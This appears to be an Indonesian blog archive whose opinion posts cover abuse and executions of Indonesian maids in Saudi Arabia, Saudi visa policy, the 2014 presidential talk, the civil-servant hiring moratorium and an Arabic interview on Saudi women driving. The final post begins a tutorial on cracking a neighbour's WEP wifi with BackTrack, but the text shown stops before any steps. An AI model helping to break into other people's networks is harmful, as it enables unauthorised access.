Hanif Ys
 
Di tengah kontroversi kabar  antara moratorium dan tidak pengiriman Tenaga Kerja Indonesia di sektor informal, akhirnya pemerintah Arab Saudi melalui kementrian tenaga Kerja mengumumkan penghentian penerbitan visa kerja sektor informal untuk Indonesia dan Pilipina. Pengumuman ini disampaikan oleh Menteri Tenaga Kerja Arab Saudi Hattab Al Anazy Rabu kemarin ( 29 Juni 2011 )seperti dilansir harian berbahasa arab Al Watan. terhitung sejak hari Sabtu 02 Juli kementrian tenaga kerja sudah tidak melayani  pengajuan visa untuk indonesia dan pilipina. Namun keputusan tersebut hanya berlaku untuk pengajuan domestic worker visa (TKW dan supir rumah tangga) dan bukan untuk visa pekerja di sektor formal.

Pengumuman tersebut berkaitan dengan keputusan Indonesia menghentikan sementara pengiriman TKW yang rencananya mulai berlaku per tanggal 1 Agustus 2011, karena desakan masyarakat menyusul kasus-kasus lemahnya perlindungan tenaga kerja di negeri minyak ini. Disisi lain masih ada sekitar 120 ribu visa yang sudah terbit dan terkirim ke Jakarta sampai saat ini belum terproses. Menurutnya keputusan ini juga berkaitan dengan animo sebagian masyarakat untuk membuka rekrutmen dari negara yang lain seperti Ethiopia, Nepal, Kenya dan Eriteria.

Beberapa bulan yang lalu pemerintah Pilipina mengajukan persyaratan yang dinilai tidak masuk akal oleh keluarga Saudi seperti akomodasi yang harus diberikan pada pembantunya, dari ukuran kamar, konsumsi listrik, libur sehari selama satu minggu dan gaji bulanan $400. Namun yang terakhir pemerintah Arab Saudi hanya menyetujui gaji sebesar $ 210. Tarik ulur kesepakatan itu sampai saat ini tak membuahkan MoU baru dari kedua belah pihak.

Pemerintah Pilipina dinilai lebih tegas dan selektif dalam mengirim tenaga kerjanya ke luar negeri. Sangat jarang sekali ditemukan kasus-kasus kekerasan terhadap pembantu berkebangsaan Pilipina di Arab Saudi. Jumlah mereka tidak sebanyak pembantu  Indonesia, namun mereka bisa berinteraksi antara satu dan lainnya dan berhak berada di luar rumah untuk libur selama sehari dalam seminggu. Pemerintah Pilipina juga melalui konsulernya sangat reaktif terhadap persoalan yang dihadapi tenaga kerja mereka. 


Indonesia..?
 
Bertepatan dengan musim haji beberpa bulan yang lalu, kitapun pernah mendengar berita yang juga cukup menyesakkan dada, yakni terbunuhnya Kikim Komalasari, dimana mayatnya sempat ditemukan di tempat sampah setelah diduga diperkosa oleh pelaku yang tak lain adalah majikannya sendiri. Kita hanya bisa mengelus dada saat menyadari bahwa TKI-TKW hanya dijadikan komoditas dari pada layaknya manusia yang seyogyanya dijaga hak-haknya. Belum tuntas kontroversi antara moratorium dan tidak pengiriman TKW ke Arab Saudi pasca meninggalnya Kikim, muncul kasus baru yang menimpa Sumiati, TKW asal Dompu yang disiksa majikannya hingga mengalami luka serius di bagian muka dan sekujur tubuh serta sempat menjalani operasi paru-paru akibat kekerasan yang dilakukan majikannya. Pengadilan tingkat pertama Jedah memvonis majikan dengan 3 tahun kurungan penjara. Sayangnya belakangan terdengar kabar bahwa terdakwa pelaku penganiayaan terhadapa pembantunya itu kemudian divonis bebas setelah mengajukan banding pada mahkamah tingkat 2 di kota Mekkah. Lagi-lagi kabar miris ini menggambarkan bahwa diplomasi dan advokasi perlindungan kita memang amat lemah kalau tidak dibilang mandul.

Dari dua kasus tersebut sebenarnya pemerintah atas desakan masyarakat sudah berkeinginan melakukan moratorium pengiriman TKW ke Negara sumber minyak ini, sayangnya pertimbangan remittance dari keringat babu yang mencapai angka $ 7 Milliar pet tahun tersebut ditengarai membuat pihak-pihak yang mestinya bertanggung jawab bergeming dan tetap “keukeuh” mengeruk keuntungan dari keringat orang yang dengan bangganya mereka sebut “pahlawan Devisa”. Sekarang kasus Ruyati telah menggugah  perasaan ribuan bahkan mungkin jutaan orang yang prihatin dengan rapuhnya diplomasi ketenagakerjaan kita.

Kejanggalan di Depnakertrans
Pasca dua kasus enam bulan yang lalu yang menimpa Kikim dan sumiati, sebenarnya sudah ada kejanggalan yang jika kita telisik lebih jauh terasa aneh dan membingungkan. KJRI Jedah dan KBRI Riyadh sudah mengeluarkan persyaratan formal bagi calon pengguna jasa yang ingin merekrut TKW dari Indonesia dengan memberlakukan sistem kualifikasi. Hanya calon pengguna yang dinyatakan qualified yang boleh menggunakan jasa tenaga kerja dari Indonesia, jika tidak bisa meyertakan persyaratan-persyaratan dimaksud, Perjanjian Kerja (PK) antara pengguna jasa dan calon tenaga kerja tak bisa disahkan oleh pihak KJRI-KBRI. Artinya visa kerja tanpa pengesahan kontrak kerja antara pengguna jasa dan calon tenaga kerja oleh KJRI-KBRI tidak bisa diproses di Depnakertrans. Persyaratan-persyaratan itu antara lain :
- Menyertakan surat kelakuan baik dari Kepolisian setempat.
- Membuat surat pernyataan akan memberlakukan dengan baik calon tenaga kerja yang disahkan oleh pihak pemerintah yang berwenang dan menyertakan daftar anggota keluarga dengan foto masing-masing anggota keluarga.
- Memiliki penghasilan minimal SAR 6000 (sekitar 15 juta) per bulan untuk 1 tenaga kerja.
dan syarat-syarat lain yang lebih detail yang tidak bisa saya paparkan disini.
Kenyataannya pasca diberlakukannya PK baru untuk visa kerja non formal yang dikirimkan melalui PJTKI hampir seluruhnya tidak disertai dengan Perjanjian Kerja yang disahkan melalui perwakilan RI baik di Jedah atau Riyadh. Karena hampir seluruh calon pengguna jasa keberatan dengan syarat-syarat yang mereka anggap "konyol". Ini yang kemudian menjadi pertanyaan, Bagaimana mungkin visa tanpa kontrak kerja dapat di proses di Depnakertrans.? Selidik punya selidik ternyata ada main mata antara pihak PJTKI dan "oknum" di departemen ini. Istilah tahu sama tahu walau dengan PK aspal bisa saja diproses, yang penting ada pundi-pundi yang setimpal untuk tiap satu berkasnya. Yang penting tidak ada sidak dari KPK. Lagi-lagi oknum hipokrit seperti ini yang memanfaatkan kesempatan di atas kesempitan orang lain.

Usulan Absurd
Kepala BPN2TKI Jumhur Hidayat mengusulkan perubahan pola pekerja rumah tangga di Arab Saudi dari “live in” menjadi “live out”, tentu maksudnya menyediakan rumah penampungan bagi TKW yang ingin cuti mingguan. Usulan ini cukup rasional dan menjadi salah satu solusi meminimalisir perlakuan atau pelanggaran pengguna jasa terhadap point-point perjanjian kerja yang memang sering dilanggar oleh pengguna jasa sebagai pihak pertama. Ini berarti bahwa TKW memiliki kesempatan berinteraksi dengan agency dan sesama pembantu. Pengguna jasa diharuskan mempertanggungjawabkan secara berkala pada agency dimana TKW direkrut. Dengan demikian interaksi antara pengguna jasa dan TKW dapat terpantau. Sayangnya Jumhur mungkin tidak menyadari bahwa perekrutan TKW adalah otoritas internal keluarga di Saudi. Predikat “domestic worker” masuk dalam lingkup keluarga, dimana otoritas pemerintah di sana tidak bisa intervensi lebih jauh dalam urusan privasi keluarga. Di satu sisi, pola seperti ini sangat rawan trafficking, TKW bisa menjadi bulan-bulanan penanggung jawab pemilik penampungan, dijual dari pengguna jasa ke pengguna lainnya. Bisa jadi dipaksa untuk tetap bekerja walau kondisi fisik sudah tidak memungkinkan. Kasus-kasus seperti ini sering terjadi di kantor-kantor yang membuka layanan pergantian majikan. Tak sedikit TKW yang awalnya berharap mendapatkan majikan lebih baik ternyata justru menjadi komuditas dagang dan bahkan terkadang tanpa upah.

Lain halnya jika pola yang ditawarkan berupa rumah singgah yang dimediasi langsung oleh pihak pemerintah dalam hal ini kedutaan RI atau pihak konsulat. Pengelola tentu saja bukan orang Saudi tapi langsung ditunjuk pihak kedutaan dan bertanggung jawab langsung pada bagian perlindungan kedutaan. Tapi pola seperti ini nampaknya juga tak mungkin, mengingat system di sana takmemungkinkan warga non Saudi mengelola kantor layanan umum secara legal.

Lalu harus bagaimana.? Tentu bukan hanya moratorium, semestinya pengiriman TKW non formal dialihkan ke sektor formal khususnya tenaga medis yang selama ini didominasi warga Pilipina, Bangladesh dan Mesir. Karena di sektor ini perlindungan hukum jauh lebih baik. Hal yang tak mudah dilakukan karena harus mempersiapkan SDM dalam jangka waktu yang tak singkat dan harus ikhlas menyunat devisa yang konon kabarnya di peringkat kedua setelah migas.
 
 Pengamat politik Charta Politika, Yunarto Wijaya, mengatakan, munculnya grup ataupun situs web yang mewacanakan pasangan Mahfud MD-Sri Mulyani pada kontestasi politik 2014 adalah hal wajar. Menurut dia, saat ini ada kecenderungan masyarakat bosan dengan "muka-muka" lama di panggung politik Tanah Air. Pewacanaan keduanya, dinilai Yunarto, merupakan antitesa atas ketidakpuasan terhadap para tokoh politik saat ini.

"Secara makro kita bisa melihat ada kecenderungan masyarakat kita merasa panggung politik dikuasai orang yang itu-itu saja. Pada pemilihan presiden tahun 2009 kan orang lama semua. Bisa jadi wacana (Mahfud-SMI) ini merupakan antitesa terhadap tokoh-tokoh yang ada sehingga ada keinginan memunculkan tokoh baru," kata Yunarto saat dihubungi Kompas.com, Selasa (24/5/2011).

Akan tetapi, ia juga melihat, dimunculkannya figur-figur alternatif sering kali didasari oleh momen-momen tertentu yang lebih kental nuansa emosional. Wacana "Sri Mulyani for President 2014" muncul pascakasus Bank Century. "Mahfud mengemuka ketika kasus Anggodo dan Nazaruddin. Masyarakat melihat ada sosok yang tegas dan berani, antitesa dari sosok SBY. Harus diingat, masyarakat kita sering terjebak dalam memori kolektif yang pendek dan dikelola secara emosional," ujarnya.

Oleh karena itu, Yunarto mengingatkan, jika para penggagas Mahfud-SMI tidak mempersiapkan secara matang, wacana memasangkan Ketua Mahkamah Konstitusi dan mantan Menteri Keuangan itu akan sekadar wacana saja. Apalagi, secara basis politik keduanya tak memiliki pijakan partai politik. "Kalau serius, dirancang secara matang, disiapkan kendaraan politiknya. Sebenarnya bukan tidak mungkin. SBY melakukannya pada 2004. Minimal ada kekuatan politik yang menjadi wadah dukungan bagi mereka yang ingin memberikan dukungan secara politik. Kalau hanya wacana yang dilempar secara sporadis, akan sulit menjaga dukungan sampai 2014," papar Yunarto.

Seperti diberitakan sebelumnya, sebuah grup di jejaring sosial Facebook memasangkan Ketua Mahkamah Konstitusi Mahfud MD dan mantan Menteri Keuangan Sri Mulyani Indrawati sebagai calon presiden 2014-2019. Grup itu menamakan diri "Mahfud MD-Sri Mulyani for President 2014-2019". Tak jelas kapan grup ini dibentuk. Yang jelas, hingga Selasa (24/5/2011) pukul 10.00, sebanyak 193 orang sudah memberikan "jempol" alias "like" untuk bergabung di grup ini.

Dalam penjelasan tentang grup ini tertulis, "Grup ini didedikasikan utk dua tokoh berintegritas kita: Prof Dr Mahfud MD & Dr Sri Mulyani Indrawati agar bersedia maju sebagai Presiden RI pada Pilpres 2014. Mari dukung dua tokoh ini utk memimpin negeri ini lepas dr keterpurukan & korupsi".

Siapa yang akan dicalonkan sebagai capres dan cawapres? Ini jawaban pengelola akun grup ini, "Mengingat mrk semua adl orang2 berintegritas & sdg memegang jabatan penting, maka kita tdk akan mudah mendengar pernyataan 'mau dicalonkan' pada saat ini. Akan tetapi, sbg patriot2 sejati, mrk tdk akan menolak jika rakyat menghendaki & ada kendaraan politik utk itu. Soal mau dipasangkan atau tidak, itu soal nanti. Namun pewacanaan tak kalah pentingnya utk menciptakan dukungan masyarakat. Salam", dikutip dari posting jawaban atas pertanyaan seorang pengguna pada 9 Mei 2011.

Selain di Facebook, gagasan memasangkan kedua tokoh ini juga disuarakan melalui blog www.mahfudsrimulyani.wordpress.com. Blog ini berisi berita-berita dari sejumlah media massa yang memuat tentang Mahfud dan Sri Mulyani.

 
Hukum pancung yang menimpa kepada Ruyati sepertinya bukan hukum pancung yang terakhir kepada para tenaga kerja wanita (TKW) Indonesia yang bekerja di Arab Saudi. Tercatat masih ada sekira 23 TKW yang nasibnya dengan hukum pancung. Meski, misalnya, 23 TKW itu sudah dipancung satu per satu, itu tidak akan membuat pemerintah Indonesia menghentikan pengiriman TKW.

Kalau diselisik, kejadian yang menimpa Ruyati pada saat ini, pada tahun 2010 sudah pernah terjadi kasus serupa, di mana TKW asal Cianjur, Jawa Barat, bernama Kikim Komalasari ditemukan tewas di sebuah tong sampah Kota Abha, Arab Saudi. Kikim diduga dibunuh sang majikan setelah diperkosa. Kejadian yang demikian rupanya tidak dijadikan pelajaran oleh pemerintah, dan mungkin saja pemerintah menganggap itu sebagai hal yang biasa sehingga pemerintah tetap mengirimkan TKW ke Arab Saudi.
 
Pemerintah Indonesia meski ditekan dari banyak pihak untuk menghentikan pengiriman TKW ke Arab Saudi namun tetap tidak mendengar desakan itu bisa jadi pemerintah menganggap kejadian seperti Ruyati, Kikim Komalasari, dan kasus-kasus penyiksaan dan pembunuhan lainnya sebagai 1: 1.000. Artinya pembunuhan yang terjadi hanya terjadi pada satu TKW di antara 1.000 TKW lainnya. Jadi tidak semua TKW mengalami nasib seperi Ruyati atau Kikim Komalasari sehingga masalah TKW di luar negeri masih dianggap aman-aman saja. 

Ketika kasus yang menimpa Kikim Komalasari terjadi, pemerintah Indonesia pernah mempertimbangkan untuk menghentikan pengiriman TKW ke Arab Saudi. Namun bila pemerintah menghentikan pengiriman TKW ke Arab Saudi, pemerintah berpikir hal yang demikian akan berimbas kepada masalah lapangan kerja di Indonesia. Pergi Arab Saudi merupakan sebuah kesempatan lapangan kerja yang sangat mudah dan cepat. Bila itu ditutup tentu akan terjadi penyempitan lapangan kerja. Pernah tercatat, jumlah tenaga kerja Indonesia di Arab Saudi mencapai 1 juta, dan 750.000 adalah perempuan. Bayangkan bila sejuta lapangan kerja ditutup, tentu akan menyebabkan semakin banyaknya pengangguran dan berujung pada semakin beratnya beban negara.

Selain itu bila dihentikannya pengiriman TKW maka devisa negara akan menurun. Pada tahun 2006 para Tenaga Kerja Indonesia yang bekerja di luar negeri selama setahun menyumbangkan devisa kepada negara sebesar Rp60 triliun. Dengan devisa itu mampu memberi makan kepada sekira 30 juta orang di Indonesia. Apa yang dihasilkan para tenaga kerja itu sebuah prestasi yang luar biasa sebab jumlahnya kedua terbesar setelah peringkat utama dari sektor minyak bumi dan gas (migas).

Masalah tenaga kerja keluar negeri memang sejak dahulu menjadi dilema bagi pemerintah. Di satu sisi pemerintah tidak mampu menciptakan lapangan kerja di dalam negeri, di sisi lain para tenaga kerja Indonesia yang bekerja di luar negeri tidak mempunyai skill yang cukup. Skill dan pendidikan yang rendah itulah yang membuat para tenaga kerja tidak mampu membela diri. 

Arab Saudi Menolak Hukum Thogut 

Apa yang terjadi pada Ruyati merupakan sebuah keprihatinan bagi kita semua, lebih-lebih hukum pancung yang menimpanya hanya berselang beberapa hari selepas Presiden Republik Indonesia Susilo Bambang Yudhoyono (SBY) menyampaikan pidato soal pentingnya perlindungan terhadap buruh migrant di markas ILO, organisasi buruh internasional, Jenewa, Swiss.

Pidato dengan tema Forging A New Global Employment Framework for Social Justice and Eguality dalam konferensi ILO itu dengan gagah SBY menyampaikan, buruh migran di Indonesia disebut sebagai pahlawan devisa dan sebagai pahlawan di rumah tangganya. Untuk itu SBY mengajak semua negara untuk memperhatikan dan memberikan pelindungan terhadap pelaku pekerja di sektor domistik atau rumah tangga. 

Apa yang terjadi di ILO itu, pemerintah Arab Saudi bisa saja mereka mendengar dan menyimak, namun apa yang disuarakan dari ILO itu tidak membuat Arab Saudi serta merta melaksanakan aturan-aturan itu.  Mengapa demikian? bisa jadi aturan-aturan yang datang dari Barat oleh Arab Saudi dianggap sebagai aturan orang kafir atau thogut sehingga sampai kapanpun Arab Saudi tidak mau meratifikasinya. Misalnya saja Arab Saudi tidak mau meratifikasi Konvensi PBB tahun 1990 tentang Perlindungan Hak-Hak Buruh Migran dan Anggota Keluarganya.

Kalaupun Arab Saudi menyatakan adanya aturan hukum internasional yang mengacu pada HAM, itu hanya lips service semata. Ketika pada Oktober 2010, Ketua MA Kerajaan Arab Saudi Saleh Bin Abdullah Bin Humeid berkunjung ke pimpinan MPR, ia mengatakan bahwa Arab Saudi sudah mempunyai organisasi HAM (Hak Asasi Manusia) yang melindungi seluruh tenaga kerja. Saleh Bin Abdullah Bin Humeid membuka pengadilan untuk menangani masalah tenaga kerja. Bila adalah masalah pada tenaga kerja, pemerintah Arab Saudi sudah membentuk lembaga tempat tenaga kerja mengadukan dan melaporkan, misalnya bila menghadapi masalah gaji atau pun kasus penyiksaan. 

Namun apa yang dikatakan itu terbalik dengan realitas yang ada. Dengan adanya kasus Ruyati menunjukan bahwa Arab Saudi dalam melindungi para tenaga kerja hanya sebatas konsep dan lips service semata. Akibat dari tidak bersedianya Arab Saudi mengikuti hukum dan aturan internasional tersebut maka Indonesia yang warganya tertimpa masalah di negeri itu mengalami kesulitan ketika mencoba menggunakan kekuatan hukum internasional. 

Bila Arab Saudi tidak sudi menggunakan hukum internasional dalam masalah tenaga kerja maka kita pun juga bisa mensiasati menggunakan hukum Islam. Misalnya dengan kapasitasnya sebagai ulama besar, Presiden Gus Dur menelepon Raja Arab Saudi ketika ada kasus TKW yang terancam hukuman mati. Berkat sosok Gus Dur sebagai ulama maka hukuman bagi Siti Zaenab, akhirnya dibatalkan.

Contoh lainnya adalah, meski Arab Saudi sudah jelas menggunakan nilai-nilai yang terkandung dalam agama Islam dalam masalah hukum, namun itu perlu kita jelaskan lagi pentingnya kesejahteraan dan perlindungan kepada para tenaga kerja sesuai dengan tuntunan Nabi, yakni sebuah hadits yang mengatakan,  "Bayarlah upah buruh sebelum kering keringatnya". Tidak hanya itu, kita paparkan kembali bahwa dalam syirah nabawiyyah banyak pengalaman Nabi yang membebaskan budak. Membebaskan budak ini dalam konteks sekarang adalah memberi perlindungan, pengayoman, kesejahteraan, cuti di hari libur, dan dianggap sebagai saudara sendiri kepada tenaga kerja.

Pendekatan-pendekatan secara hukum Islam inilah yang kurang dilakukan oleh SBY. Akibatnya satu persatu TKW dipancung dan menunggu hukum pancung.  

Ardi W
 
دعت الأميرة السعودية بسمة بنت عبد العزيز آل سعود إلى منح الحريات قبل أن تتحول إلى تحديات، مؤكدة في الوقت ذاته أن لا أحد يتمتع بحصانة تجاه رياح التغيير التي تهب على العالم العربي.طوني شاميه (نص)  أوضحت الأميرة السعودية بسمة بنت عبد العزيز آل سعود ردا عن سؤال حول "هيئة الأمر بالمعروف والنهي عن المنكر"  قائلة: "عندما أسس والدي الراحل هيئة الأمر بالمعروف والنهي عن المنكر كان الهدف منها مراقبة المجتمع لكن الأمور تغيرت باتجاه ممارسة ضغوط اجتماعية على المرأة التي أصبحت هدفا" للهيئة".

هذه التصريحات اللافتة أتت في وقت أعلن فيه توقيف خمس نساء لقيادتهن السيارة. عن هذا الموضوع تحدثت الناشطة النسائية السعودية إيمان النفجان.  هناك أنباء تتحدث عن توقيف خمس نساء وهن يقدن السيارة. هل هناك من تطورات في هذا المجال؟"هيئة الأمر بالمعروف والنهي عن المنكر" ألقت القبض على أربع فتيات كن في سيارة واحدة في جدة ثم وقع إحالتهن إلى "هيئة الادعاء والتحقيق العام". كذلك وقع القبض في نفس اليوم من قبل الشرطة على فتاة أخرى كانت تقود السيارة بجانب أخيها. جرت العادة أنه عندما تحصل مثل هذه الحالات فإن الشرطة تنتظر مجيء ولي الأمر لتوقيع تعهد من أن ابنته أو زوجته لن تقود مرة أخرى السيارة وأنه هو الذي يتحمل المسؤولية في المستقبل. هل هناك فتوى تحرم هذا أم أن القانون هو إلى جانب الفتاة أو السيدة في قيادة السيارة؟قبل العام 1990 لم يكن هناك كلام أبدا حول هذا الموضوع وكان منع المرأة أو الفتاة من قيادة السيارة مقبولا اجتماعيا. لكن بعد التسعينات خرج حوالي 47 امرأة في مظاهرة للتعبير عن استيائهن من هذا الوضع والذي لا يسمح للمرأة بقيادة السيارة في المملكة. وكردة فعل قامت وزراة الداخلية وقتها بنشر بيان يمنع النساء من قيادة السيارات في السعودية. كذلك هيئة الافتاء، برئاسة الشيخ بن بعل والشيخ بن عاتمين، أصدرت من جهتها فتوى حرمت فيها قيادة السيارات ليس لأن قيادة السيارة حرام في حد ذاته وإنما حسب تفكيرهم قيادة السيارة تؤدي الى الفساد وتسهل خروج المرأة من المنزل وتؤدي أيضا إلى الاختلاط وإلى الفتنة. بعد ذلك بسنة، أصدرت المملكة نظاما جديدا ألغى كل ما سبقه. في العام 2000 وقعت السعودية على الاتفاقية العالمية في "داو" التي تلغي أي نوع من أنواع التمييز ضد المرأة. من الملاحظ أن هناك بعضا من النساء، وقد تحدثن الى بعضهن، يقلن أنه يجب الانتظار. هناك حراك، هناك تحرك نحو إعطاء المزيد من حقوقها وقيادة السيارة ستأتي. أنتي ماذا تقولي؟ هم يطلبون منكم التحلي بالصبر؟في العام 2005 طلب الملك عبد الله في مقابلة له مع بعض النساء السعوديات التحلي بالصبر حول هذا الموضوع. الملك عبد الله محبوب لدينا كثيرا وقبلنا بالصبر. لكن نحن الآن ننتظر منذ ست سنوات. وهذا المطلب بسيط جدا وليس فيه تهديد للدولة أو للنظام. الحاجة المادية والمعنوية أصبحت ضرورية بالنسبة للنساء والوضع الاقتصادي في السعودية تغير كثيرا وأصبحت نسبة البطالة مرتفعة جدا والوضع أصبح صعبا. كما هو معلوم أن السعوديات اللواتي يتعلمن في الخارج يقدن السيارات. كيف يسمح لهن قيادة السيارة في الخارج وكيف يتقبل هذا الرجل وهذا المجتمع الذكوري ذلك في الخارج ولا يقبله في الداخل؟لكل أحد مبرراته . يقول البعض إن الرجل السعودي هو ذئب بشري وأنه يهجم على كل امرأة. لكنني غير متفقة مع هذا الكلام لأن نفس الرجل السعودي عندما يذهب إلى الخارج لا يحدث منه شيء من هذا النوع. الرجل السعودي هو رجل طبيعي له الشهم العربي مثل أي رجل عربي آخر. حسب الاحصائيات الأخيرة توجد حوالي 45 الف رخصة دولية للسياقة وهذا لا يشكل أغلبية ولا ظاهرة كبيرة في المجتمع السعودي.
another link :http://www.inbaa.com/modules.php?name=News&file=article&sid=31217
 
Picture
Mungkin saat ini banyak mata dan telinga tertuju pada hiruk pikuk dan amburadulnya politik di negeri ini, nama Ani Ratnawati tak banyak dikenal oleh masyarakat, bahkan namanya tak pernah menyeruak mencuri perhatian media. Jauh dari popularitas tokoh yang tiba-tiba saja sering menggelitik telinga orang awam. Ada Nazarudin yang melebihi popularitas Udin sedunia, muncul nama Andi Nurpati yang menenggelamkan nama mahapatih Gajah Mada, muncul Surya Paloh yang sempat bikin bingung pecandu Gudang Garam Surya.

Ani hanya wakil menteri keuangan yang mungkin tak pernah mau namanya terpublikasikan. tapi karena dialah yang mula-mula memundulkan wacana dan menggagas penghentian sementara pengangkatan Pegawai Negeri Sipil (PNS). serta membuat wacana ini bergulir bak bola salju, tiba-tiba namanya banyak disebut media walau tak sesering tokoh-tokoh kontroversial di atas.

Menurutnya Jumlah PNS yang sudah mencapai 4,7 juta sangat membebani APBN. Ketika jumlah tersebut secara kuallitatif membebani anggaran negara hingga lebih 30 persen, banyak pihak yang mulai menuding bahwa kebijakan yang digulirkan di awal kepemimpinan SBY itu, sekarang mulai menuai hujatan. Negara "terbebani" membayar pegawainya yang belum terbukti berbanding lurus dengan produktifitasnya. Bahkan negara kian ambruk dan terpuruk, kebijakan itu terbukti kontraproduktif tak menambah angka signifikan pada angka kesejahteraan perindividu secara integral.

Secara nasional serapan sebesar 30 persen tersebut bisa saja menjadi angka yang sangat kecil bila ditilik lebih jauh ke daerah tingkat kabupaten atau kota madya. Mungkin akan belipat dua atau bahkan naik lebih 200 persen. Padahal kalau dikalkulasi labih jauh sebenarnya penambahan tenaga kerja dibeberapa sektor tidak didasarkan pada skala kebutuhan. Cobalah kita jalan-jalan ke kantor layanan publik seperti di kantor kecamatan misalnya, Berapa orang di antara mereka yang benar-benar bekerja? dan berapa persen diantara mereka yang santai nonton televisi sambil menunggu jam pulang kantor dan awal bulan depan terima ongkos lelah menunggu.

Belanja untuk pegawai tersebut secara matematis akan mengurangi alokasi belanja untuk pembangunan infrastruktur dan fasilitas publik yang seharusnya lebih diutamakan. Seperti pembangunan dan perbaikan jalan akses untuk kawasan yang belum sepenuhnya memperoleh perhatian di daerah-daerah luar dan pedalaman. Dengan demikian efek pemerataan akan semakin terasa dan di sisi lain peningkatan taraf hidup dengan infrastruktur yang memadai lebih gampang tercapai. Tentu saja penerapannya harus ekstra hati-hati dan tidak diserahkan pada segelintir orang atau pada penguasa. Ini bisa celaka karena hanya akan membuka kran pungutan yang tidak proporsional dan ditilap Nazarudin dan kroninya serta Nazarudin-Nazarudin lain yang masih menunggu kesempatan.

Di sisi lain pemerintah dituntut menaikkan gaji PNS yang sudah dilakukan hampir selama lima tahun terakhir. ada juga kebijakan gaji ke 13 yang dulunya diyakini sebagai angka sial kini menjadi lucky number PNS yang sudah  hampir enam tahun berturut-turut diberikan. Ditambah lagi  renumerasi yang secara bertahap yang telah dilaksanakan di sejumlah kementerian. Tiga kebijakan itu secara kumulatif meningkatkan beban anggaran negara dengan sangat signifikan. Semula kebijakan ini berlatarbelakang reformasi. Meskipun faktanya… juga tidak mengubah apa2. Korupsi masih menggerogoti hampir di semua lini dan tingkatan dalam birokrasi.

Ini semua karena pengangkatan PNS memang tidak lepas dari kebijakan politik kekuasaan partai penguasa sejak awal pemerintahan. Kebijakan ini pula yang menjadi salah satu biang kerok mengapa PNS menjadi tak efektif. Salah satunya karena kebijakan pengangkatan tenaga honorer tanpa proses seleksi.

Kita Coba Evaluasi

Satu tahun sejak saat terpilihnya SBY sebagai presiden, hal pertama yang dilakukannya adalah mengamankan posisi kekuasaannya pada pilpres berikutnya tahun 2009. Politik kekuasaan itu langsung dituangkan dengan terbitnya PP No. 48 Tahun 2005 tentang Pengangkatan Tenaga Honorer menjadi Pegawai Negeri Sipil. Pengangkatan (tanpa seleksi) berlaku bagi semua tenaga honor yang diangkat sebelum 2005 dan ditargetkan selesai tahun 2009. Jelas angka tahun 2009 bukan  karena sekedar mengandung unsur 9 sebagai angka favorit SBY. Tapi mengarah pada masa pilpres untuk masa jabatan kedua. Kebijakan pengangkatan–tanpa seleksi–bagi tenaga honor jelas menjadi kebijakan politik kekuasaan yang sekaligus menjadi blunder bagi politik birokrasi pemerintah. Kenapa demikian?

Pertama, rekrutmen tenaga honorer, meski kadang tak berpijak pada kebutuhan tenaga riil atas beban kerja dan  keterbatasan anggaran, adalah merupakan kebijakan yang sarat dengan nuansa KKN. Bukan rahasia lagi bahwa bahwa rekrutmen tenaga honor ini umumnya merupakan akal-akalan sebagai jalan memutar untuk bisa menjadi PNS. Rekrutmen dengan mudah dilakukan tanpa proses seleksi baku seperti halnya seorang calon PNS umumnya. Banyak pintu yang dimasuki untuk dapat menjadi tenaga honorer karena memang tidak ada standar baku bagi pengangkatannya.  Bahkan seorang kepala sekolahpun dapat merekrutnya cukup dengan satu lembar surat tugas yang dapat diperpanjang setiap tahun.

Banyaknya pintu dan tidak adanya standar seleksi menjadikan seorang kepala satuan kerja dengan mudah memasukkan siapa saja yang dikehendaki untuk direkrut menjadi tenaga honorer. Pada situasi ini faktor kekerabatan menjadi sangat menonjol. Atau jika dia orang lain, imbalan dapa menjadi latar belakangnya. Pada situasi ini dapat kita bayangkan bagaimana kualitas hasil rekrutan yang hampir tanpa seleksi.

Kedua, celakanya pula kebijakan pengangkatan tenaga honorer yang terbatas hanya bagi tenaga sebelum 2005, disambut dengan ‘kreatifitas’ berlebihan oleh sejumlah kepala satuan kerja di daerah. Muncullah tenaga2 honorer yang sebenarnya diangkat setelah tahun 2005, dan seharusnya tidak berhak diangkat menjadi PNS  dokumennya disulap ‘anti datir‘ (mundur) seolah mereka telah menjadi tenaga honorer sebelum tahun 2005. Dengan tujuan tertentu–umumnya dengan motif kekerabatan atau imbalan–mereka menjadi ‘berhak’ untuk menduduki ‘kursi nyaman’ sebagai PNS.

Meminjam istilah MenPAN R&B, kreatifitas ‘kurang ajar’ seperti di atas menyebabkan sebagian tenaga honorer yang lebih berhak menjadi tercecer. Dan hingga sekarang masih belum selesai. Dengan beban pengangkatan ini pemerintah memperpanjang kebijakan pengangkatan honorer hingga tahun 2012. Kelompok inilah yang selama ini banyak menghiasi media massa dan berdemo menuntut untuk tetap diangkat.

Dinamika anggaran saat ini telah berubah. Kebijakan remunerasi belum menyentuh semua PNS dan sebagian belum 100 persen dibayarkan. Di lain pihak kebijakan untuk menyesuaikan gaji PNS dengan inflasi melalui kenaikan gaji setiap tahun, dan pemberian gaji ke 13 telah menjadi perangkap hukum melalui amanat UU. Tidak ada pilihan lain bagi pemerintahan SBY, moratorium dan program pensiun dini menjadi satu-satunya alternatif rasional untuk lolos dari kebangkrutan negara. Politik kekuasaan yang dibungkus dengan politik birokrasi dan reformasi PNS, bagai menepuk air di dulang–memercik muka sendiri. Seperti slogan antikorupsi yang hingar bingar didengungkan pada awal pemerintahan, dan kini menjadi bumerang bagi diri sendiri.

Jika program nol pertumbuhan (zero growth) melalui moratorium dan pensiun dini PNS tidak direncanakan  melalui cetak biru atas peta kebutuhan riil pegawai dan beban kerja, niscaya persoalan PNS  akan menjadi pekerjaan “cuci piring” bagi pemerintahan berikutnya. Seperti yang dikeluhkan pemerintahan SBY saat awal masa pemerintahannya–pasca kemenangan pilpres yang menggeser pemerintahan Megawati. Lalu siapa pula yang sudi menjadi presiden di sebuah negeri diambang Bangkrut selain orang-orang yang justru  akan memperkeruh keadaan....?

 
Picture
Halo..., beberapa hari lalu saya posting sekelumit tentang Backtrack, salah satu distro Linux yang mudah dioperasikan sebagaimana kita terbiasa dengan Windows. 

Nah sekarang seperti yang pernah saya sampaikan sebelumnya, ternyata backtrak ampuh juga digunakan untuk hacking wifi (wireless Fidelity) tetangga. Tapi pertama saya ingin mendedikasikan tulisan ini buat sobat yang punya layanan wifi (baik warnet, instansi atau perorangan) agar lebih hati-hati memproteksi hotspotnya. Karena wifi denan enkripsi WEP 100 persen bisa di hack dan sudah saya buktikan. Sekali lagi ini hanya tutorial bagi pemilik router dan bukan untuk tujuan yang tidak diinginkan.

